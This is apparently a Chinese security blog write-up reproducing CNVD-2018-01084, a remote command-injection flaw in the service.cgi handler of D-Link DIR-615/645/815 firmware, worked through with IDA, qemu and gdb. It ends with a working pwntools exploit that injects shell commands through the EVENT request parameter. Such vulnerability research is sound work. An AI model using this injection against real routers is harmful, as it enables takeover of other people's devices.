<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CNVD-2018-01084 漏洞復現報告(service.cgi 遠程命令執行漏洞)

    VSole2022-05-22 16:19:41

    在CNVD平臺上,關于CNVD-2018-01084的詳細信息:D-Link DIR 615/645/815 service.cgi遠程命令執行漏洞(https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084

    固件包下載地址:D-Link (Downloads)(https://tsd.dlink.com.tw/ddwn

    筆者復現的環境是Ubuntu 20.04

    閱讀本文前,請先安裝qemu / binwalk / sasquatch / gdb-multiarch等工具,并對mips架構下的匯編語法有一定的了解。

    漏洞復現

    根據官方公告,找到存在漏洞的二進制文件。

    官方公告:

    先用binwalk -Me DIR815A1_FW102b06.bin命令解壓固件包,再根據“漏洞描述”中的關鍵詞service.cgi進行查找:

    找到了所匹配的二進制文件htdocs/cgibin,將其拖進IDA中先進行靜態分析。

    對二進制文件進行靜態分析

    首先進入main函數,很容易找到關鍵詞service.cgi:

    這里是和傳入的第一個參數v3進行的判斷:

    然后,當傳入的第一個參數是service.cgi,比對成功后,會進入servicecgi_main函數。

    我們先對servicecgi_main這個函數整體的調用路線進行一個宏觀的分析:

    我們猜測漏洞點存在于這里的system函數處,它是由lxmldbc_system函數調用的:

    在lxmldbc_system函數中,會先進行一個格式化字符串的拼接,再將拼接好的字符串作為system的參數調用,因此,這里的確可能存在一個可被利用的點:

    接著,我們對servicecgi_main函數的流程進行一個分析:

    (1)先獲取環境變量REQUEST_METHOD進行判斷

    當請求方式為GET的時候,會跳到標簽10,而這個標簽10在調用lxmldbc_system函數的下面:

    所以,為了利用到lxmldbc_system中的漏洞,我們的請求方式只能為POST。

    (2)分析cgibin_parse_request函數

    然后,會調用到cgibin_parse_request函數,這個函數會先調取環境變量REQUEST_URI,并對其先以?進行字符串分割:

    再進到sub_402B40函數中,發現這里會再以=進行一次字符串分割,對=后的內容再以&進行分割:

    這其實就是對一個URL字符串的解析過程,分割后的字符串,都會被存放進內存中,具體存放在哪里,不太好直接通過靜態分析看出。

    之后,在cgibin_parse_request函數中,對CONTENT_TYPE這個環境變量進行了一個判斷:

    這里先對環境變量CONTENT_TYPE中的內容的前v17位與v18進行一個比對,比對正確后就會調用一個未知的函數,這里的v18其實是off_42C014中的內容,而v17就是其后四個字節的內容:

    也就是說,我們CONTENT_TYPE的前12位得是application/才能過這個判斷。

    之后調用到的那個未知的函數也不方便直接通過靜態分析看出,在之后動態調試的時候可以很清楚地看到,不過,這里需要注意一下傳入這個未知函數的第三個參數v7,其實就是CONTENT_LENGTH這個環境變量:

    這個函數大體就分析到這里了,更具體的,在之后動態分析的時候會寫到。

    在servicecgi_main主函數中可以看到,若cgibin_parse_request函數的返回值是負數的話,會報錯。

    筆者注:

    之前復現的時候是直接看匯編的,感覺上面說的未知函數不好看出來(我太菜了),其實我們看反編譯后的代碼,直接靜態分析就很容易得出來:如果CONTENT_TYPE的前12位是application/,那么此時v16=1,所以(&off_42C014)[3 * v16 - 1] = (&off_42C014)[2],也就是下圖圈出的數據,即跳轉到了0x403B10處。

    (3)分析sess_ispoweruser函數

    在之后,會需要繞過sess_ispoweruser函數,不然無法通過認證:

    這個函數會調用到sess_validate函數,其中會再調用到sess_get_uid函數,在里面有對HTTP_COOKIE和REMOTE_ADDR這兩個環境變量的獲取,這里就不作具體分析了。

    接著,在sess_validate函數中會繼續調用到sub_407660這個函數,其中會打開/var/session/...的文件:

    這個文件顯然我們用qemu模擬的環境中是沒有的,因此我們需要將sess_ispoweruser這個函數的相關判斷給patch掉(直接將跳轉命令改成nop空指令),不然就不便于進行后續利用了(會在這里卡住):

    修改:

    完成:

    保存:

    這樣就直接跳過sess_ispoweruser函數的認證檢驗了,將patch過的二進制文件替換htdocs目錄下原有的文件即可。

    (4)一些靜態分析看不出來的操作

    再然后,會調用sub_40A1C0函數進行一些判斷:

    顯然,判斷的結果若是滿足v6!=0是最好的,因為這里if分支其實大體上都是對v9格式化字符串進行賦值,而v6!=0分支中的內容最簡單,下面else分支中的內容會很復雜,當經過這個判斷之后,有了v9這個格式化字符串作為參數,就可以直接走到lxmldbc_system函數進行漏洞利用了。

    不過,這里sub_40A1C0函數中具體判斷的內容不太好直接通過靜態分析看出:

    這里的a1就是傳進去的EVENT / ACTION / SERVICE這些參數,但是后面的v3[2]應該是用戶可控的一個字符串,但是并不知道指向內存的何處。

    同樣地,lxmldbc_system函數中,vsnprintf函數的參數va(也就是拼接到前面format格式化字符串中的內容)不知道指向內存的何處,va_start函數同樣不知道指向哪里:

    這些都不好通過靜態分析直接得出,但是可以猜測都是用戶可控的,再聯想到之前的REQUEST_URI環境變量分割出的字符串被存放在了內存中,我們也并不知道具體的存放位置,因此,可以猜測這里取的內存就是在之前存放的,為了驗證這一觀點,我們需要進行動態分析來調試。

    對二進制文件進行動態分析(調試)

    先checksec檢查一下二進制文件:

    構下32位的小端序程序,得用qemu-mipsel啟動,沒開任何保護。

    首先,我們需要知道如何向main函數傳遞參數argv和設置環境變量:

    我們可以用-0選項傳遞第一個參數,用-E選項設置環境變量,用-L選項做到類似于更改根目錄的效果,用-strace選項追蹤程序執行時進程系統調用和所接收的信號,方便調試。

    我們按順序,先來調試一下CONTENT_TYPE環境變量中application/后應該設置成什么,也就需要知道這里進入的未知函數是什么:

    if ( !strncasecmp(v14, v18, v17) )              return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])(                       a1,                       a2,                       v7,                       &v14[v17]);
    

    看到對應的匯編:

    最后的跳轉命令在0x40346C處,因此,我們在這里下一個斷點。

    先用下面的命令啟動qemu用戶模式:

    qemu-mipsel -g 1234 -L . \    -0 "service.cgi" \    -E REQUEST_METHOD="POST" \    -E REQUEST_URI="..." \    -E CONTENT_LENGTH=10 \    -E CONTENT_TYPE="application/winmt" \    ./htdocs/cgibin
    

    再用gdb-multiarch設置架構并連接上1234端口,最后停在了斷點處:

    可以很清晰地看到,那個我們靜態分析不好看出來的未知函數就是0x403b10。

    在IDA里找到0x403b10的位置,并創建函數,方便反編譯:

    可見,CONTENT_TYPE環境變量的后面應該是x-www-form-urlencoded,匹配成功后,就會進入sub_402FFC函數,在其中會有一個read函數,需要我們讀入數據:

    這里的v7也就是a3,是我們在cgibin_parse_request函數中傳入的環境變量CONTENT_LENGTH,根據之前的分析,我們需要這個函數的返回值v4大于零,只要讀入合法的數據即可。

    這一部分就分析到這,接下來再驗證之前的猜想:sub_40A1C0函數中所取的內存是否為之前REQUEST_URI環境變量所分割出的字符串?

    我們已經知道了REQUEST_URI大體的分割模式,因此可以設REQUEST_URI="aaa?bbb=ccc"的形式,啟動命令如下:

    qemu-mipsel -g 1234 -L . \    -0 "service.cgi" \    -E REQUEST_METHOD="POST" \    -E REQUEST_URI="aaa?bbb=ccc" \    -E CONTENT_LENGTH=10 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    ./htdocs/cgibin
    

    在sub_40A1C0中strcmp的地方對應的匯編處(0x40A200)下一個斷點:

    在之前隨便輸入十個字符,最后停止了斷點處:

    由此可知,strcmp的第二個參數就是環境變量REQUEST_URI中?與=之間的字符串。

    用同樣的方法,可以得到:lxmldbc_system中拼接入格式化字符串的va參數就是環境變量REQUEST_URI中=之后的字符串。

    至此,我們完成了對/htdocs/cgibin這個二進制文件中的漏洞分析,顯然,我們將;{cmd};拼接進格式化字符串,由于;可連接兩個獨立語句并執行,這樣就能執行我們的cmd命令了。

    利用腳本(exp)

    from pwn import *context(os = 'linux', arch = 'mips') string = "winmt"length = len(string) print("----- CNVD-2018-01084 -----")cmd = input("command > ") io = process(f'''    qemu-mipsel -L . -strace \    -0 "service.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH={length} \    -E REQUEST_URI="?EVENT=;{cmd};" \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE="uid=winmt" \    -E REMOTE_ADDR="127.0.0.1" \    ./htdocs/cgibin''', shell = True) io.send(string)io.interactive()
    

    復現成功

    函數調用環境變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在cgiHandler函數中,將用戶的HTTP請求參數作為環境變量,通過諸如LD_PRELOAD即可劫持進程的動態鏈接庫,實現遠程代碼執行。代碼首先拼接出用戶請求的cgi完整路徑并賦予cgiPath,然后檢查此文件是否存在以及是否為可執行文件。隨后代碼將cgiPath、envp、stdIn與stdOut作為參數傳入launchCgi函數中。
    使用AFL++復現歷史CVE
    2022-08-12 17:36:45
    安裝調試目標從github等途徑下載并解壓。從網上找現成的樣本sample。
    漏洞復現根據官方公告,找到存在漏洞的二進制文件。官方公告:先用binwalk -Me DIR815A1_FW102b06.bin命令解壓固件包,再根據“漏洞描述”中的關鍵詞service.cgi進行查找:找到了所匹配的二進制文件htdocs/cgibin,將其拖進IDA中先進行靜態分析。
    php中的disable_function是EG(ini_directives)來獲得的,而phpinfo根據 EG(ini_directives) 中獲取信息并打印。
    總之,是一個數組越界導致緩沖區溢出的漏洞。
    APP開發的背景知識的介紹APP開發遵循邏輯和視圖分離的思想:我們創建一個activity,android studio會自動生成其對應的xml文件。視圖視圖在xml中定義:可以直接可視化移動一個按鈕進視圖,也可以用代碼編寫。
    Linux 提權總結
    2021-11-15 06:54:08
    可見在權限位置有一個s權限。那么這個s的作用是什么呢? 答案是當其他用戶執行該文件時,該文件會以root的身份執行。 這里就涉及到了Effective UID和Real UID以及Saved UID Effective UID: 程序實際操作時生效的UID Real UID: 執行該程序的用戶的實際UID Saved UID: 在高權限用戶降權后,保留的其原本UID (不展開說) 所以
    只有執行時才會被調用到內存中!ELF文件由4部分組成,分別是ELF頭、程序頭表、節和節頭表。
    UAC Bypass 技術學習
    2022-07-01 16:22:43
    通過在這些操作啟動前對其進行驗證,UAC 可以幫助防止惡意軟件和間諜軟件在未經許可的情況下在計算機上進行安裝或對計算機進行更改。提升的應用程序以 High 完整性級別運行,普通進程以 Medium 完整性級別運行,低權限進程以 Low 完整性級別運行。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类